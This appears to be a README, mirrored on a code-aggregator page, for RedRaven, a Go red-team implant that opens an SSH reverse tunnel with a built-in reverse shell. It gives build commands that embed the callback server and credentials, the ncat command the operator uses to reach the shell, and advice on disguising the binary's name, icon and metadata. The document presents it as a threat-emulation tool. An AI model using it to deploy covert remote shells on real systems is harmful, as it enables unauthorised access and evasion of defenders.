Giter Club home page Giter Club logo

redraven's Introduction

RedRaven

RedRaven is a golang (recommend v1.15, v1.13 min) cross platform implementation of an ssh reverse tunnel (with a built in reverse shell) similar to:

ssh -R 8080:localhost:8080 -i ./privkey.pem user@serverAddr

This opens a tunnel between the two endpoints and allows data to be exchanged this direction:

server:8080 ---> client:8080

Once authenticated a process on the SSH server can interact with the service answering to port 8080 of the client. In this case a built in reverse shell that you can interact with via ncat on the ssh server. As this is a outbound model vs a bind you don't need to deal with any NAT/firewall rules assuming outbound ssh is allowed.

Dependices

  • Go 1.13+
  • GNU make
  • goversioninfo (needed to add the windows resource infromation to the binary)
  • osslsigncode (needed to sign the windows binary) if you don't care about signing you can comment this line out in the Makefile

How to build

The only thing you should need to modify is the Makefile for the variable "PATH_TO_PEM." Note becasue the variables are injected at build time via the Makefile. Second one may need to uncomment the log.Fatal lines in the main.go for troubleshooting, these statements are commented out for threat emulation purpose to excerise the blue IR and RE teams. Note you may also need to run "make depends" first to generate the generate self signed certificate.

Example 1

You plan to use public Key auth, to do this you first need to set the PATH_TO_PEM variable in the Makefile and compile the binary with the nessecary paramaters for example:

make linux64 PEM=true USER=ubuntu SERVER=<FQDN or IPaddr>:<PORT>

Example 2

You plan to use password auth, compile the binary with the nessecary paramaters for example:

make linux64 PEM=false USER=ubuntu SERVER=acme.com:22 PASSWD=123pass

Note that it is possible to have both a PEM and PASSWD set, the PEM=BOOL controls what is used.

On the SSH Server (gray space)

SSH to the server to interact with the target and type:

ncat localhost 8080

note control-c will kill ncat but it will not terminate the process on the client. Another words the ssh session is still active. On a windows systems you would need to do something like the following:

tasklist | findstr putty
taskkill /F /PID <PID #>

OSPEC

Things to consider for windows:

  • You are embedding credentials in the binary being deployed, take precautions!
  • The name of the binary
  • The icon
  • The values in the ./resource/verioninfo.json file especially "OriginalFilename" - this should match the binary name set in the Makefile
  • The fact this uses a self signed Certificate

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.